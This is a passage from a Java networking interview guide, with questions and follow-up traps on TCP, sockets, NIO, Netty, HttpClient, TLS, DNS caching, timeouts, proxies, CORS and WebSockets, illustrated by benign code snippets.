- **Does one `write` on a TCP socket arrive as one `read`?** No. TCP has no message boundaries; you must frame messages (length prefix or delimiter).
- **Is UDP always unreliable in practice?** It gives no guarantees; the application must add acks and retries if it needs them.

#tcp #udp #transport

Q2 Describe the TCP three-way handshake and connection teardown. BASIC

Handshake: client sends SYN, server replies SYN-ACK, client sends ACK. Teardown uses FIN/ACK in each direction (four segments), so each side closes independently (half-close).

- `connect()` returns after the SYN-ACK/ACK exchange; `accept()` returns connections already completed by the kernel.
- An abrupt close sends RST instead of FIN.
- The side that sends the first FIN enters TIME_WAIT.

FOLLOW-UP TRAPS

- **Who completes the handshake, `accept()` or the kernel?** The kernel; `accept()` only dequeues an established connection from the accept queue.
- **What does `Socket.shutdownOutput()` do?** Sends FIN but keeps the input side open (half-close).

#tcp #handshake #teardown

Q3 How do Socket and ServerSocket work in Java? BASIC

`ServerSocket` binds to a port and `accept()` blocks until a client connects, returning a `Socket`. Each `Socket` exposes an `InputStream` and `OutputStream` for blocking reads and writes.

```
try (ServerSocket server = new ServerSocket(8080)) {
    while (true) {
        Socket s = server.accept();
        new Thread(() -> handle(s)).start();
    }
}
```

- `new ServerSocket(port, backlog)` sets the accept-queue length hint.
- Always close sockets (try-with-resources) to release the file descriptor.

FOLLOW-UP TRAPS

- **What does `accept()` do when the backlog is full?** The kernel drops or delays new SYNs/ACKs; clients see connect delays or timeouts.
- **Does closing the `InputStream` close the socket?** Yes, closing either stream closes the socket.

#socket #serversocket #blocking-io

Q4 **What are the socket options SO_TIMEOUT, SO_KEEPALIVE, TCP_NODELAY, SO_REUSEADDR and SO_LINGER?** INTERMEDIATE

- `SO_TIMEOUT` (`setSoTimeout`): max blocking time of a `read`/`accept`, throws `SocketTimeoutException`.
- `SO_KEEPALIVE`: OS sends probes on idle connections (default idle 2 hours on Linux).
- `TCP_NODELAY`: disables Nagle's algorithm so small writes go out immediately.
- `SO_REUSEADDR`: lets a server rebind a port with connections in TIME_WAIT.
- `SO_LINGER`: controls `close()` behaviour; linger 0 sends RST instead of FIN.

FOLLOW-UP TRAPS

- **Does `SO_TIMEOUT` apply to connect?** No; use `socket.connect(addr, timeoutMs)`.
- **Is `SO_REUSEADDR` the same as `SO_REUSEPORT`?** No; the latter lets multiple sockets bind the same port for load spreading.

#socket-options #tcp

Q5 **What is Nagle's algorithm and when should you disable it?** INTERMEDIATE

Nagle buffers small writes until the previous data is acknowledged, reducing tiny packets. Combined with delayed ACK on the peer, it can add up to ~40 ms latency to request/response protocols that issue several small writes.

- Disable with `socket.setTcpNoDelay(true)` for latency-sensitive RPC.
- Better fix: coalesce writes into one buffer or `flush` once.

FOLLOW-UP TRAPS

- **Does `TCP_NODELAY` make data arrive faster over a slow link?** No, it only removes sender-side batching delay.
- **Is it on by default in Java?** No, `TCP_NODELAY` defaults to false (Netty and many HTTP clients enable it).

#nagle #tcp-nodelay #latency

Q6 **How does the thread-per-connection blocking model scale, and what are its limits?** BASIC

Each connection holds a thread blocked in `read`. It is simple but each platform thread costs ~1 MB of stack reserve plus scheduling overhead, so tens of thousands of idle connections are impractical.

- Thread pools cap resource usage but then idle connections can starve active ones.
- Java 21 virtual threads let you keep the blocking style: a blocking socket read parks the virtual thread, not the carrier.

FOLLOW-UP TRAPS

- **Is the thread stack actually allocated up front?** Virtual memory is reserved; physical pages are committed on use.
- **Do virtual threads make blocking `Socket` I/O non-blocking?** The JDK reimplemented `Socket` on NIO so reads park the virtual thread; the programming model stays blocking.

#blocking-io #threads #scalability

Q7 What is Java NIO and how does it differ from classic IO? BASIC

NIO (`java.nio`) uses channels, buffers and selectors. Classic IO is stream-oriented and blocking; NIO is buffer-oriented, can be non-blocking, and one thread can multiplex many channels.

- Channels (`SocketChannel`, `ServerSocketChannel`, `FileChannel`, `DatagramChannel`) are bidirectional.
- Data is read into / written from `ByteBuffer`s.
- `Selector` reports which channels are ready.

FOLLOW-UP TRAPS

- **Is NIO always faster than IO?** No; for few connections blocking IO is as fast and simpler. NIO wins on connection count.
- **Are `FileChannel`s selectable?** No; only `SelectableChannel` subclasses such as socket channels.

#nio #channels #buffers

Q8 Explain ByteBuffer: position, limit, capacity, flip, clear, compact. INTERMEDIATE

A buffer has `capacity` (fixed), `limit` (first index not to read/write) and `position` (next index). After writing into a buffer, `flip()` sets limit=position and position=0 to read it.

- `clear()`: position=0, limit=capacity (ready to write; data not erased).
- `compact()`: copies unread bytes to the start and sets position after them, ready to write more; use after a partial read.
- `rewind()`: position=0, limit unchanged.

```
ByteBuffer b = ByteBuffer.allocate(8);
b.putInt(7);      // pos=4
b.flip();         // pos=0 limit=4
int v = b.getInt();   // 7
```

FOLLOW-UP TRAPS

- **What happens if you forget `flip()` before channel write?** It writes from position to limit, which is empty or garbage bytes after position.
- **Does `clear()` zero the data?** No, only resets indices.

#bytebuffer #nio #buffers

Q9 What is the difference between heap and direct ByteBuffers? INTERMEDIATE

A heap buffer wraps a `byte[]` in the Java heap; a direct buffer lives in native memory. Channel I/O on a heap buffer copies through a temporary direct buffer, so direct buffers avoid one copy for I/O.

- Direct allocation is slower and costs more, and it is freed only when the buffer object is GC'd (via a cleaner), limited by `-XX:MaxDirectMemorySize`.
- Use direct buffers for long-lived, reused I/O buffers; pool them.
- `OutOfMemoryError: Direct buffer memory` signals exhaustion.

FOLLOW-UP TRAPS

- **Are direct buffers counted in `-Xmx`?** No, they are off-heap with a separate limit.
- **Can GC pressure be low yet direct memory run out?** Yes; if the heap rarely collects, cleaners never run.

#bytebuffer #direct-memory #performance

Q10 How does a Selector work and what are the SelectionKey operations? INTERMEDIATE

A channel configured non-blocking is registered with a `Selector` for interest ops (`OP_ACCEPT`, `OP_CONNECT`, `OP_READ`, `OP_WRITE`). `select()` blocks until at least one is ready, then you iterate `selectedKeys()`.

```
Selector sel = Selector.open();
ServerSocketChannel ssc = ServerSocketChannel.open();
ssc.bind(new InetSocketAddress(8080));
ssc.configureBlocking(false);
ssc.register(sel, SelectionKey.OP_ACCEPT);
while (true) {
    sel.select();
    var it = sel.selectedKeys().iterator();
    while (it.hasNext()) {
        SelectionKey k = it.next(); it.remove();
        // handle accept/read
    }
}
```

- On Linux the implementation uses epoll, on macOS kqueue.

FOLLOW-UP TRAPS

- **Why must you remove the key from `selectedKeys()`?** The selector never clears it; otherwise it is processed again every loop.
- **Is `OP_WRITE` interest normally always set?** No; sockets are almost always writable, so setting it constantly causes a busy loop. Set it only when a write is pending.

#selector #nio #reactor

Q11 What is the Reactor pattern? INTERMEDIATE

One or more event-loop threads wait on a selector, dispatch ready events to handlers, and handlers must not block. Multi-reactor variants use a boss loop to accept and worker loops to read/write.

- Netty `NioEventLoopGroup`, Tomcat NIO connector acceptor/poller and Vert.x use this model.
- Blocking work (DB, disk) is offloaded to a separate pool.

FOLLOW-UP TRAPS

- **What happens if a handler blocks the event loop?** All channels bound to that loop stall.
- **Is the reactor the same as the proactor?** No; a proactor (NIO.2 async channels) is notified on completion, not readiness.

#reactor #nio #event-loop

Q12 What is NIO.2 AsynchronousSocketChannel? ADVANCED

Java 7 `AsynchronousSocketChannel` / `AsynchronousServerSocketChannel` start an operation and report completion via `Future` or `CompletionHandler`, executed on an `AsynchronousChannelGroup` thread pool.

- Proactor style: you supply the buffer up front; the OS (IOCP on Windows, epoll-based emulation on Linux) completes it.
- Rarely used in production; Netty on selectors dominates.

FOLLOW-UP TRAPS

- **Is it truly kernel-async on Linux?** Not for sockets; the JDK emulates it over epoll with internal threads.
- **Can a `CompletionHandler` block?** It can, but it consumes a pool thread and should be avoided.

#nio2 #async #completion-handler

Q13 What is the difference between blocking and non-blocking, and between synchronous and asynchronous I/O? BASIC

Blocking vs non-blocking is whether the call waits when no data is ready. Synchronous vs asynchronous is whether the caller itself performs the read after readiness (sync) or is notified once the operation completed (async).

- Java IO: sync blocking. NIO with selector: sync non-blocking (multiplexed). NIO.2 async: asynchronous.

FOLLOW-UP TRAPS

- **Is NIO with a Selector asynchronous I/O?** By strict definition no; it is non-blocking, readiness-based sync I/O.
- **What does a non-blocking `read` return when no data is available?** 0 bytes (and -1 on end of stream).

#io-models #blocking #async

Q14 What is Netty and why is it used? INTERMEDIATE

Netty is an asynchronous event-driven network framework over NIO (or epoll/io_uring natives). It hides selector complexity and gives pipelines, codecs, pooled buffers and backpressure hooks.

- Core pieces: `EventLoopGroup`, `Channel`, `ChannelPipeline`, `ChannelHandler`, `ByteBuf`, `Bootstrap` / `ServerBootstrap`.
- Powers Spring WebFlux (Reactor Netty), gRPC-Java, Cassandra and Elasticsearch clients.

FOLLOW-UP TRAPS

- **Is Netty a web server?** It is a toolkit; HTTP is just one codec.
- **Does Netty use one thread per connection?** No; a channel is bound to a single event loop for life, and a loop serves many channels.

#netty #event-loop #framework

Q15 Explain Netty's ChannelPipeline, handlers and ByteBuf. ADVANCED

The pipeline is an ordered chain of inbound and outbound handlers per channel. Inbound events (read, active) flow head to tail; outbound operations (write, flush) flow tail to head.

- Typical chain: `SslHandler`, `HttpServerCodec`, `HttpObjectAggregator`, business handler.
- `ByteBuf` has separate reader and writer indexes (no `flip`), is reference-counted and usually pooled.
- You must `release()` a `ByteBuf` you consume (or use `SimpleChannelInboundHandler`, which does it).

FOLLOW-UP TRAPS

- **What happens if you forget to release a `ByteBuf`?** Memory leak of pooled buffers; detect with `-Dio.netty.leakDetection.level=paranoid`.
- **Where does a `ctx.write()` go compared with `channel.write()`?** `ctx.write` starts from the next handler before this one; `channel.write` starts from the pipeline tail.

#netty #pipeline #bytebuf

Q16 What is Java 11 HttpClient and how is it used? BASIC

`java.net.http.HttpClient` is the standard modern HTTP client: immutable, thread-safe, supports HTTP/1.1 and HTTP/2, WebSocket, sync `send` and async `sendAsync` returning `CompletableFuture`.

```
HttpClient client = HttpClient.newBuilder()
    .connectTimeout(Duration.ofSeconds(3)).build();
HttpRequest req = HttpRequest.newBuilder(URI.create("https://example.com/api"))
    .timeout(Duration.ofSeconds(5)).GET().build();
HttpResponse<String> res = client.send(req, HttpResponse.BodyHandlers.ofString());
System.out.println(res.statusCode());
```

- Build one client and reuse it; it owns the connection pool and selector thread.

FOLLOW-UP TRAPS

- **Does it replace `HttpURLConnection`?** It is the recommended replacement; the old class has poor API and weak pooling control.
- **Is `HttpRequest.timeout` the connect timeout?** No; it bounds time until the response headers (or body handler start) arrive, while `connectTimeout` is on the client.

#httpclient #java11

Q17 What timeouts does HttpClient support, and what is missing? INTERMEDIATE

`HttpClient.Builder.connectTimeout` limits connection establishment; `HttpRequest.Builder.timeout` limits the wait for the response (throws `HttpTimeoutException`). There is no built-in read-idle or total-body timeout.

- For total deadlines, use `CompletableFuture.orTimeout` on `sendAsync` or cancel the future.
- Cancelling the future does not necessarily abort the in-flight request in older JDKs; JDK 16+ improved cancellation.

FOLLOW-UP TRAPS

- **Is there a default timeout?** No; the default is infinite for both.
- **Does `request.timeout` cover reading a large streaming body?** Not the whole body for streaming handlers; slow-body handling needs your own deadline.

#httpclient #timeouts

Q18 How does HTTP/2 differ from HTTP/1.1? INTERMEDIATE

HTTP/2 is a binary, multiplexed protocol: many concurrent streams over one TCP connection, HPACK header compression, stream prioritisation and server push (now deprecated). HTTP/1.1 is textual with one in-flight request per connection.

- HTTP/1.1 pipelining exists but suffers head-of-line blocking and is effectively unused; browsers open ~6 connections per host.
- HTTP/2 removes application-level HOL blocking but TCP-level HOL blocking remains (solved by HTTP/3 over QUIC).
- Browsers require TLS for HTTP/2; h2c is the cleartext variant.

FOLLOW-UP TRAPS

- **Does HTTP/2 reduce the number of requests?** No, it makes them cheaper by sharing a connection.
- **Is HTTP/2 always faster?** Not on lossy networks, where one lost packet stalls all streams.

#http2 #http1.1 #multiplexing

Q19 How does Java negotiate HTTP/2 and what are its defaults? INTERMEDIATE

`HttpClient` defaults to `Version.HTTP_2` and falls back to HTTP/1.1 automatically. Over HTTPS the protocol is chosen through TLS ALPN; over plain HTTP it tries an `Upgrade: h2c` header.

- Force HTTP/1.1 with `.version(HttpClient.Version.HTTP_1_1)`.
- Check `response.version()` to see what was actually used.

- Many servers ignore h2c upgrade, so cleartext usually falls back to 1.1.

> **FOLLOW-UP TRAPS**
> - **What is ALPN?** A TLS extension in which the client lists protocols (`h2`, `http/1.1`) and the server picks one during the handshake.
> - **Does the HTTP/2 client use a connection pool?** It keeps one multiplexed connection per origin.

#httpclient #http2 #alpn

Q20 How does TLS/HTTPS work and how is it configured in Java? INTERMEDIATE

TLS authenticates the server through its certificate chain, negotiates cipher suites and keys (ephemeral ECDHE in TLS 1.2/1.3), then encrypts the stream. Java exposes it through `SSLContext`, `SSLSocket`, `SSLEngine`.

- Trust store (`javax.net.ssl.trustStore`) decides whom to trust; key store holds your private key for mutual TLS.
- Defaults: JDK 11+ enables TLS 1.3; the default trust store is `cacerts`.
- Hostname verification must remain enabled; with `HttpClient` it is on unless the endpoint identification algorithm is cleared.

> **FOLLOW-UP TRAPS**
> - **Why is a trust-all `TrustManager` dangerous?** It accepts any certificate, enabling man-in-the-middle attacks.
> - **Does TLS prove the identity of the client?** Only with mutual TLS (client certificates).

#tls #https #sslcontext

Q21 What does a TLS handshake cost, and how is it reduced? ADVANCED

TLS 1.2 needs 2 round trips after TCP; TLS 1.3 needs 1 (and 0-RTT on resumption). Asymmetric crypto adds CPU cost on the server.

- Reduce with connection reuse (keep-alive, HTTP/2), session resumption (tickets), and TLS 1.3.
- Terminate TLS at a load balancer to offload CPU.
- OCSP stapling avoids a blocking revocation lookup.

> **FOLLOW-UP TRAPS**
> - **Is 0-RTT safe for all requests?** No, it is replayable; only idempotent requests should use it.
> - **Is the bulk data encryption expensive?** Symmetric AES-GCM with hardware support is cheap; the handshake dominates.

#tls #handshake #session-resumption

Q22 What is the difference between URL and URI in Java? BASIC

`URI` is a pure syntactic parser/value object for identifiers. `URL` additionally knows a protocol handler and can open a connection; `URL.equals/hashCode` may perform DNS lookups.

- Prefer `URI`, and convert with `uri.toURL()` only when needed. Java 20 deprecated `new URL(String)` constructors in favour of `URI.create(...).toURL()`.
- `URI.create` throws `IllegalArgumentException` for invalid input; `new URI` throws a checked `URISyntaxException`.

> **FOLLOW-UP TRAPS**
> - **Why is `URL` as a `HashMap` key problematic?** `hashCode` and `equals` resolve host names, which blocks and can compare unequal for equal hosts on different IPs.
> - **Does `URI` encode illegal characters for you?** The multi-argument constructors quote illegal characters; the single-string one rejects them.

#url #uri #java.net

Q23 How do you correctly encode URL query parameters and paths? BASIC

Use `URLEncoder.encode(value, StandardCharsets.UTF_8)` for query component values (form encoding, space becomes `+`) and a `URI` multi-arg constructor or a builder for paths (space becomes `%20`).

- Encode each component separately, never the whole URL: that would encode `://`, `/` and `?`.
- Double-encoding (`%2520`) is a common bug when a framework already encodes.
- Spring: `UriComponentsBuilder` and `UriUtils`.

FOLLOW-UP TRAPS

- **Is `+` a space in a path?** No; `+` means space only in `application/x-www-form-urlencoded` query/body.
- **Which charset should be passed?** UTF-8; the single-argument `URLEncoder.encode(String)` is deprecated.

#url-encoding #uri #query

Q24 How does DNS resolution work in Java, and what does InetAddress caching do? INTERMEDIATE

`InetAddress.getByName` calls the OS resolver and caches results inside the JVM. Positive results are cached for 30 seconds by default (when no security manager) and negative results for 10 seconds.

- Controlled by security properties `networkaddress.cache.ttl` and `networkaddress.cache.negative.ttl` in `java.security` or set at startup via `Security.setProperty`.
- `-1` means cache forever, `0` means no caching.
- `getAllByName` returns all A/AAAA records; resolution order follows `java.net.preferIPv4Stack` / `preferIPv6Addresses`.

```
java.security.Security.setProperty("networkaddress.cache.ttl", "10");
```

FOLLOW-UP TRAPS

- **Is `networkaddress.cache.ttl` a `-D` system property?** No, it is a security property (`-D` has no effect); the legacy `sun.net.inetaddr.ttl` system property also exists.
- **Does the JVM honour the record's DNS TTL?** No, it uses its own fixed TTL.

#dns #inetaddress #caching

Q25 What is the risk of caching DNS forever in the JVM? ADVANCED

Failover and blue/green deployments that rely on DNS changes will not reach a long-lived JVM, which keeps connecting to the old IP. Cloud services (load balancers, RDS, S3) rotate IPs frequently.

- When a security manager is installed (older setups), the default TTL is infinite, a classic production trap.
- Set a small positive TTL (for example 30 s) and make clients re-resolve on reconnect.
- Pooled connections also pin an old IP until closed; set max connection lifetime.

FOLLOW-UP TRAPS

- **If the TTL is 30 s, will existing connections move to the new IP?** No, only new connections resolve again.
- **Does a negative TTL of 0 help?** It avoids caching failed lookups, but increases load on DNS during outages.

#dns #cache-ttl #failover

Q26 What is the difference between connect timeout and read timeout? BASIC

Connect timeout limits TCP connection establishment. Read (socket) timeout limits the wait between bytes while reading, not the total response time.

- A request streaming one byte every 29 seconds never trips a 30 s read timeout.
- Also needed: connection-acquire (pool) timeout, request/total timeout, and TLS handshake timeout.
- Without a connect timeout, the OS default (about 2 minutes via SYN retries on Linux) applies.

FOLLOW-UP TRAPS

- **Does a read timeout close the connection?** The exception is thrown but the socket must be closed by the caller; the connection is in an undefined state and should not be reused.
- **Is the read timeout the total response deadline?** No; use an overall deadline in addition.

#timeouts #connect #read

Q27 How does connection pooling work and why does it matter? BASIC

A pool keeps established connections (TCP + TLS done) and leases them to requests, avoiding handshake cost per call and bounding concurrency toward a backend.

- Key knobs: max total, max per route/host, acquire timeout, idle eviction, max lifetime, validation.
- Apache HttpClient: `PoolingHttpClientConnectionManager` (default max 20 total, 2 per route in 4.x). OkHttp: `ConnectionPool` (5 idle, 5 min). JDK `HttpClient`: internal pool, tuned via system properties such as `jdk.httpclient.connectionPoolSize` and `jdk.httpclient.keepalive.timeout`.
- A response body must be fully read or closed to return the connection.

FOLLOW-UP TRAPS

- **Why do requests hang when the body is not closed?** The connection is never released, so the pool exhausts and callers wait for a lease.
- **Is a bigger pool always better?** No; it can overload the backend and hit file-descriptor limits.

#connection-pool #performance

Q28 What is HTTP keep-alive and how does it relate to the TCP keep-alive? BASIC

HTTP keep-alive (persistent connections, the default in HTTP/1.1) reuses one TCP connection for multiple requests. TCP keep-alive (`SO_KEEPALIVE`) is an OS probe on idle sockets that detects dead peers. They are unrelated mechanisms.

- Servers close idle connections after a timeout (`Keep-Alive: timeout=5`); a client reusing a just-closed connection gets a reset.
- Set the client idle eviction below the server and load balancer idle timeout.
- `Connection: close` disables reuse.

FOLLOW-UP TRAPS

- **Does `SO_KEEPALIVE` keep an HTTP connection from timing out at a load balancer?** Only if probes fire more often than the LB idle timeout; Linux's default first probe is after 7200 s.
- **Is keep-alive on by default in HTTP/1.0?** No, it needed an explicit `Connection: keep-alive`.

#keep-alive #http #tcp

Q29 What is TIME_WAIT and why does it exist? INTERMEDIATE

After actively closing, a TCP endpoint stays in TIME_WAIT for 2xMSL (60 s on Linux) so late duplicate segments die and the final ACK can be retransmitted. The side that closes first holds the state.

- Thousands of TIME_WAIT sockets are normal for a client making many short connections.
- They consume ephemeral ports (the 4-tuple stays reserved), not much memory.
- Best fix: reuse connections (keep-alive, pooling), not shortening TIME_WAIT.

FOLLOW-UP TRAPS

- **Does the server or the client enter TIME_WAIT?** Whoever sends the first FIN; a server that closes idle connections accumulates them.
- **Is `SO_REUSEADDR` a TIME_WAIT bypass?** It lets a listener bind despite TIME_WAIT sockets on that port; it does not shorten the state.

#time-wait #tcp #ephemeral-ports

Q30 What are ephemeral ports and how can they be exhausted? INTERMEDIATE

The OS assigns a source port from a range (Linux `net.ipv4.ip_local_port_range`, default 32768-60999, about 28k ports) to each outgoing connection. A connection is identified by (src IP, src port, dst IP, dst port), so exhaustion occurs per destination.

- Symptom: `BindException: Cannot assign requested address` on connect.
- Causes: no connection reuse, many TIME_WAIT sockets, NAT gateways with limited ports.
- Mitigations: pool connections, widen the port range, add source IPs, `tcp_tw_reuse` for outgoing connections.

FOLLOW-UP TRAPS

- **Is the limit 28k connections to a server?** 28k concurrent per (source IP, destination IP:port); different destinations reuse ports.
- **Does `tcp_tw_recycle` help?** It was removed in Linux 4.12 because it broke clients behind NAT.

#ephemeral-ports #port-exhaustion #linux

Q31 How does a forward proxy differ from a reverse proxy, and how do you use a proxy in Java? INTERMEDIATE

A forward proxy acts for clients (egress control, caching, anonymity). A reverse proxy acts for servers (TLS termination, routing, load balancing). Java supports proxies through `java.net.Proxy`, `ProxySelector` and system properties.

```
HttpClient c = HttpClient.newBuilder()
    .proxy(ProxySelector.of(new InetSocketAddress("proxy.corp", 3128)))
    .build();
```

- System properties: `https.proxyHost`, `https.proxyPort`, `http.nonProxyHosts`.
- HTTPS through a forward proxy uses `CONNECT host:443` to create a tunnel; the proxy cannot see the content.

FOLLOW-UP TRAPS

- **Does `http.proxyHost` also proxy HTTPS?** No, HTTPS uses `https.proxyHost`.
- **Does `HttpClient` read system proxy properties by default?** No, you must call `.proxy(ProxySelector.getDefault())` to use them.

#proxy #forward-proxy #reverse-proxy

Q32 What are Layer 4 and Layer 7 load balancers? INTERMEDIATE

L4 balancers (AWS NLB, IPVS) route by IP/port at the TCP/UDP level without parsing HTTP. L7 balancers (ALB, NGINX, Envoy) understand HTTP and can route by path/header, terminate TLS, retry and balance per request.

- With HTTP/2 or gRPC over an L4 balancer, all requests of one long-lived connection go to a single backend, so load is uneven; use L7 or client-side balancing.
- Algorithms: round robin, least connections, consistent hashing, power of two choices.

FOLLOW-UP TRAPS

- **Why is one gRPC channel behind an L4 LB unbalanced?** Multiplexing keeps all calls on one TCP connection pinned to one backend.
- **Which hides client IP?** L7 proxies; use `X-Forwarded-For` or PROXY protocol.

#load-balancer #l4 #l7

Q33 What is the X-Forwarded-For header and why is it a security concern? INTERMEDIATE

Proxies append the client IP to `X-Forwarded-For` (and set `X-Forwarded-Proto` / `Host`) so the origin knows the real client. Clients can send their own forged value.

- Only trust the entries added by your own proxies: take the rightmost trusted hop, not the first value.
- Spring Boot: `server.forward-headers-strategy=native` or `framework` with a trusted proxy.
- The standardised alternative is `Forwarded` (RFC 7239).

FOLLOW-UP TRAPS

- **Is the leftmost XFF entry the client IP?** Only if all hops are trusted; attackers can prepend values.
- **What is the PROXY protocol?** A prefix sent by L4 balancers conveying the original source address.

#proxy #x-forwarded-for #security

Q34 What is CORS and how does it work? BASIC

CORS is a browser mechanism that relaxes the same-origin policy: the server declares via `Access-Control-Allow-*` headers which origins may read its responses. It is enforced by the browser, not the server.

- Simple requests are sent directly; the browser checks `Access-Control-Allow-Origin` on the response.
- Non-simple requests (custom headers, JSON `Content-Type`, `PUT/DELETE`) trigger a preflight `OPTIONS` request.
- `Access-Control-Allow-Credentials: true` requires an explicit origin, not `*`.

FOLLOW-UP TRAPS

- **Does CORS protect the API from curl or other servers?** No, it only governs browsers.
- **Does a blocked CORS request reach the server?** Simple requests do, the response is merely hidden; side effects still happen.

#cors #browser #security

Q35 Explain the CORS preflight request and its caching. INTERMEDIATE

Before a non-simple request the browser sends `OPTIONS` with `Origin`, `Access-Control-Request-Method` and `Access-Control-Request-Headers`. The server answers with `Allow-Origin`, `Allow-Methods`, `Allow-Headers`, and optionally `Access-Control-Max-Age`.

- `Max-Age` caches the preflight result (browser caps, for example 2 hours in Chrome).
- The preflight must succeed with 2xx and must not require authentication cookies.
- Spring: `@CrossOrigin` or `CorsConfigurationSource`, applied before Spring Security's filter chain.

FOLLOW-UP TRAPS

- **Why does the preflight fail with 401 behind Spring Security?** The CORS filter was not registered before the auth filter, so `OPTIONS` is rejected.
- **Can `Allow-Origin` contain multiple origins?** No, one value only; echo the matching origin and add `Vary: Origin`.

#cors #preflight #options

Q36 What is the WebSocket protocol and how does the handshake work? INTERMEDIATE

WebSocket provides a full-duplex, message-oriented channel over a single TCP connection. It starts as an HTTP/1.1 `GET` with `Upgrade: websocket` and `Sec-WebSocket-Key`; the server replies `101 Switching Protocols` with `Sec-WebSocket-Accept`.

- After upgrade, framed messages (text, binary, ping, pong, close) flow in both directions.
- Browsers cannot set custom headers on the handshake, so auth uses cookies, query token or a first message.
- `wss://` is WebSocket over TLS.

FOLLOW-UP TRAPS

- **Does WebSocket traffic go through normal HTTP load-balancer timeouts?** Yes, idle connections are cut; send ping/pong heartbeats.
- **Does the origin check come from CORS?** No, CORS does not apply to WebSockets; the server must validate `Origin`.

#websocket #upgrade #protocol

Q37 How do you use WebSockets in Java? INTERMEDIATE

Client: `HttpClient.newWebSocketBuilder()` with a `WebSocket.Listener`. Server: Jakarta WebSocket (`@ServerEndpoint`) or Spring `WebSocketHandler` / STOMP.

```
WebSocket ws = HttpClient.newHttpClient().newWebSocketBuilder()
    .buildAsync(URI.create("wss://example.com/feed"), new WebSocket.Listener() {
        public CompletionStage<?> onText(WebSocket w, CharSequence d, boolean last) {
            System.out.println(d);
            w.request(1);
            return null;
        }
    }).join();
```

- The JDK client is demand driven: you must call `request(n)` to receive more messages.

FOLLOW-UP TRAPS

- **Why does a JDK WebSocket listener receive only one message?** The listener must call `webSocket.request(1)` again; demand is not automatic after the first.
- **Is `sendText` safe to call concurrently?** No, wait for the previous `CompletableFuture` to complete before the next send.

#websocket #jakarta #httpclient

Q38 When should you choose WebSockets, SSE or long polling? INTERMEDIATE

WebSocket: bidirectional, low-latency (chat, games). Server-Sent Events: one-way server push over plain HTTP with auto-reconnect (notifications, feeds). Long polling: fallback with highest overhead.

- SSE works through HTTP/2 and proxies easily but is text only and unidirectional.
- WebSockets need sticky sessions or a shared broker to scale beyond one node.

FOLLOW-UP TRAPS

- **Does SSE support client-to-server messages?** No, use separate HTTP requests.
- **How many SSE connections can a browser open on HTTP/1.1?** About 6 per origin, shared with other requests.

#websocket #sse #long-polling

Q39 What is backpressure in network applications? INTERMEDIATE

Backpressure is a way for a slow consumer to signal a fast producer to slow down so buffers do not grow unbounded. TCP has it built in: the receiver's window shrinks and the sender's `write` blocks or becomes not-writable.

- Blocking IO: `OutputStream.write` blocks when the send buffer is full.
- NIO: `write` returns fewer bytes (maybe 0); register `OP_WRITE` and retry.
- Netty: check `channel.isWritable()` and the write-buffer water marks.
- Reactive Streams: subscriber `request(n)`.

FOLLOW-UP TRAPS

- **What happens if you ignore `isWritable()` in Netty?** Outbound data queues in memory until OutOfMemoryError.
- **Does an unbounded queue between threads provide backpressure?** No, it hides the problem until memory is exhausted.

#backpressure #flow-control #reactive

Q40 How does TCP flow control differ from congestion control? ADVANCED

Flow control protects the receiver: it advertises a receive window so the sender never exceeds receiver buffers. Congestion control protects the network: the sender limits in-flight data with a congestion window (slow start, congestion avoidance, CUBIC/BBR).

- Effective send window = min(receiver window, congestion window).
- Throughput per connection is bounded by window / RTT (bandwidth-delay product).
- A zero window stalls the sender until a window update.

FOLLOW-UP TRAPS

- **Why is a single TCP stream slow on a high-latency fat link?** Window/RTT caps rate unless buffers and window scaling are large enough.
- **What does `SO_RCVBUF` set?** The receive buffer size and thus max window; set before connect/bind for window scaling to apply.

#tcp #flow-control #congestion

Q41 What are the TCP backlog and accept queue? ADVANCED

Linux has a SYN queue for half-open connections and an accept queue for completed handshakes awaiting `accept()`. The Java backlog argument sets the accept-queue limit, capped by `net.core.somaxconn` (default 4096 on newer kernels, 128 on older).

- If the app does not call `accept()` fast enough, the queue fills and new connections are dropped/retried; clients see connect timeouts.
- Check with `ss -lnt` (Recv-Q is the queue length on a listener, Send-Q the limit).
- Tomcat: `acceptCount` (default 100); Netty: `ChannelOption.SO_BACKLOG`.

FOLLOW-UP TRAPS

- **If the backlog is 50 can only 50 clients connect?** No, it limits only the not-yet-accepted connections.
- **Why do SYN floods fill the SYN queue?** Half-open entries are never completed; SYN cookies mitigate this.

#backlog #accept-queue #syn-queue

Q42 How should you frame messages over a TCP stream? BASIC

Use a length prefix, a delimiter, or fixed-size records, because TCP delivers a byte stream. A read may return part of a message or several messages.

- Length-prefix: read 4 bytes, then loop until that many bytes are read (`DataInputStream.readFully`).
- Delimiter (newline for line protocols): beware of delimiter bytes inside payloads.
- Netty: `LengthFieldBasedFrameDecoder`, `LineBasedFrameDecoder`.
- Always cap the max frame length to prevent memory attacks.

FOLLOW-UP TRAPS

- **Does `InputStream.read(byte[])` fill the whole array?** No, it returns what is available; use `readFully` or loop.
- **Why enforce a max length?** A malicious length field of 2 GB would otherwise cause allocation DoS.

#framing #tcp #protocol-design

Q43 What does `java.net.http.HttpClient` do for threading and what executors does it use? ADVANCED

Each client has a selector manager thread (`HttpClient-N-SelectorManager`) for I/O and uses an executor (default: cached thread pool) to run completion stages and handlers. You can supply your own via `.executor(...)`.

- `sendAsync` returns immediately; chained `thenApply` callbacks run on the client executor unless you use `...Async` with another executor.
- Blocking in a callback consumes a pool thread.
- A client lives until it is unreachable and idle (JDK 21 adds `close()` / `AutoCloseable`).

FOLLOW-UP TRAPS

- **Is creating a new `HttpClient` per request fine?** No; you lose connection reuse and create selector threads each time.
- **Is `HttpClient` thread-safe?** Yes, it is immutable and shareable.

#httpclient #executor #async

Q44 How do you stream, retry and handle errors with HttpClient? INTERMEDIATE

Choose a `BodyHandler`: `ofString`, `ofByteArray`, `ofInputStream`, `ofLines`, `ofFile`, or a subscriber for streaming. `HttpClient` does not retry on its own beyond the safe internal retry of idempotent requests on connection reset, and non-2xx status codes are not exceptions.

- Check `statusCode()` yourself.
- Retry only idempotent requests (GET, PUT, DELETE) with exponential backoff and jitter; for POST use an idempotency key.
- `ofInputStream` must be closed to free the connection.

FOLLOW-UP TRAPS

- **Does `send` throw for HTTP 500?** No, it returns the response; only I/O failures throw `IOException`.
- **Which exception must you handle in `send`?** `InterruptedException`; restore the interrupt flag when caught.

#httpclient #body-handlers #retry

Q45 How do redirects, cookies and authentication work in HttpClient? INTERMEDIATE

Redirects: `followRedirects(Redirect.NORMAL)` follows them except HTTPS to HTTP downgrades; the default is `NEVER`. Cookies need `cookieHandler(new CookieManager())`. Authentication uses

`.authenticator(...)` for Basic/Digest on 401/407.

